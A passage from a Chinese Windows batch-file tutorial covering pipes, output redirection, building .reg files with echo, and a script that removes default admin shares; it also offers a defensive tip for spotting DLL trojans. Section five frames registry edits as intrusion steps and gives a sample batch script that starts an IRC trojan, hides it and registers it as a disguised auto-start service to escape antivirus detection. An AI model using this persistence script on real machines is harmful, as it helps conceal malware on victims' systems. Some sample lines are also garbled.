四、管道命令的使用
1.│ 命令
Usage:第一條命令 │ 第二條命令 [│ 第三條命令...]
將第一條命令的結(jié)果作為第二條命令的參數(shù)來使用,記得在unix中這種方式很常見。
sample:
time /t>>D:\IP.log
netstat -n -p tcp│find ":3389">>D:\IP.log
start Explorer
看出來了么?用于終端服務(wù)允許我們?yōu)橛脩糇远x起始的程序,來實現(xiàn)讓用戶運行下面這個bat,以獲得登
錄用戶的IP。
2.>、>>輸出重定向命令
將一條命令或某個程序輸出結(jié)果的重定向到特定文件中, > 與 >>的區(qū)別在于,>會清除調(diào)原有文件中的內(nèi)
容后寫入指定文件,而>>只會追加內(nèi)容到指定文件中,而不會改動其中的內(nèi)容。
sample1:
echo hello world>c:\hello.txt (stupid example?)
sample2:
時下DLL木馬盛行,我們知道system32是個捉迷藏的好地方,許多木馬都削尖了腦袋往那里鉆,DLL馬也不
例外,針對這一點我們可以在安裝好系統(tǒng)和必要的應(yīng)用程序后,對該目錄下的EXE和DLL文件作一個記錄:
運行CMD--轉(zhuǎn)換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
這樣所有的EXE和DLL文件的名稱都被分別記錄到exeback.txt和dllback.txt中,
日后如發(fā)現(xiàn)異常但用傳統(tǒng)的方法查不出問題時,則要考慮是不是系統(tǒng)中已經(jīng)潛入DLL木馬了.
這時我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,然后運
行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比
較前后兩次的DLL和EXE文件,并將結(jié)果輸入到diff.txt中),這樣我們就能發(fā)現(xiàn)一些多出來的DLL和EXE文件,
然后通過查看創(chuàng)建時間、版本、是否經(jīng)過壓縮等就能夠比較容易地判斷出是不是已經(jīng)被DLL木馬光顧了。沒
有是最好,如果有的話也不要直接DEL掉,先用regsvr32 /u trojan.dll將后門DLL文件注銷掉,再把它移到
回收站里,若系統(tǒng)沒有異常反映再將之徹底刪除或者提交給殺毒軟件公司。
3.< 、>& 、<&
< 從文件中而不是從鍵盤中讀入命令輸入。
>& 將一個句柄的輸出寫入到另一個句柄的輸入中。
<& 從一個句柄讀取輸入并將其寫入到另一個句柄輸出中。
這些并不常用,也就不多做介紹。
五.如何用批處理文件來操作注冊表
在入侵過程中經(jīng);夭僮髯员淼奶囟ǖ逆I值來實現(xiàn)一定的目的,例如:為了達到隱藏后門、木馬程序而刪
除Run下殘余的鍵值;蛘邉(chuàng)建一個服務(wù)用以加載后門。當(dāng)然我們也會修改注冊表來加固系統(tǒng)或者改變系統(tǒng)
的某個屬性,這些都需要我們對注冊表操作有一定的了解。下面我們就先學(xué)習(xí)一下如何使用.REG文件來操
作注冊表.(我們可以用批處理來生成一個REG文件)
關(guān)于注冊表的操作,常見的是創(chuàng)建、修改、刪除。
1.創(chuàng)建
創(chuàng)建分為兩種,一種是創(chuàng)建子項(Subkey)
我們創(chuàng)建一個文件,內(nèi)容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker]
然后執(zhí)行該腳本,你就已經(jīng)在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下創(chuàng)建了一個名字為"hacker"的子
項。
另一種是創(chuàng)建一個項目名稱
那這種文件格式就是典型的文件格式,和你從注冊表中導(dǎo)出的文件格式一致,內(nèi)容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"Door"=C:\\WINNT\\system32\\door.exe
"Autodos"=dword:02
這樣就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下
新建了:Invader、door、about這三個項目
Invader的類型是"String value"
door的類型是"REG SZ value"
Autodos的類型是"DWORD value"
2.修改
修改相對來說比較簡單,只要把你需要修改的項目導(dǎo)出,然后用記事本進行修改,然后導(dǎo)入(regedit /s
)即可。
3.刪除
我們首先來說說刪除一個項目名稱,我們創(chuàng)建一個如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Ex4rch"=-
執(zhí)行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就
被刪除了;
我們再看看刪除一個子項,我們創(chuàng)建一個如下的腳本:
Windows Registry Editor Version 5.00
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
執(zhí)行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已經(jīng)被刪除了
。
相信看到這里,.reg文件你基本已經(jīng)掌握了。那么現(xiàn)在的目標就是用批處理來創(chuàng)建特定內(nèi)容的.reg文件了
,記得我們前面說道的利用重定向符號可以很容易地創(chuàng)建特定類型的文件。
samlpe1:如上面的那個例子,如想生成如下注冊表文件
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Invader"="Ex4rch"
"door"=hex:255
"Autodos"=dword:000000128
只需要這樣:
@echo Windows Registry Editor Version 5.00>>Sample.reg
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg
@echo "Invader"="Ex4rch">>Sample.reg
@echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg
@echo "Autodos"=dword:02>>Sample.reg
samlpe2:
我們現(xiàn)在在使用一些比較老的木馬時,可能會在注冊表的
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、
Runexec)]下生成一個鍵值用來實現(xiàn)木馬的自啟動.但是這樣很容易暴露木馬程序的路徑,從而導(dǎo)致木馬被查
殺,相對地若是將木馬程序注冊為系統(tǒng)服務(wù)則相對安全一些.下面以配置好地IRC木馬DSNX為例(名為
windrv32.exe)
@start windrv32.exe
@attrib +h +r windrv32.exe
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll
@echo "windsnx "=- >>patch.dll
@sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath=
c:\winnt\system32\windrv32.exe
@regedit /s patch.dll
@delete patch.dll
@REM [刪除DSNXDE在注冊表中的啟動項,用sc.exe將之注冊為系統(tǒng)關(guān)鍵性服務(wù)的同時將其屬性設(shè)為隱藏和
只讀,并config為自啟動]
@REM 這樣不是更安全.
六.精彩實例放送。
1.刪除win2k/xp系統(tǒng)默認共享的批處理
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off
:Rem check parameters if null show usage.
if {%1}=={} goto :Usage
:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>>
c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END
:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF
:END
echo.
echo -----------------------------------------
億恩科技地址(ADD):鄭州市黃河路129號天一大廈608室 郵編(ZIP):450008 傳真(FAX):0371-60123888
聯(lián)系:億恩小凡
QQ:89317007
電話:0371-63322206 本文出自:億恩科技【mszdt.com】
服務(wù)器租用/服務(wù)器托管中國五強!虛擬主機域名注冊頂級提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM]
|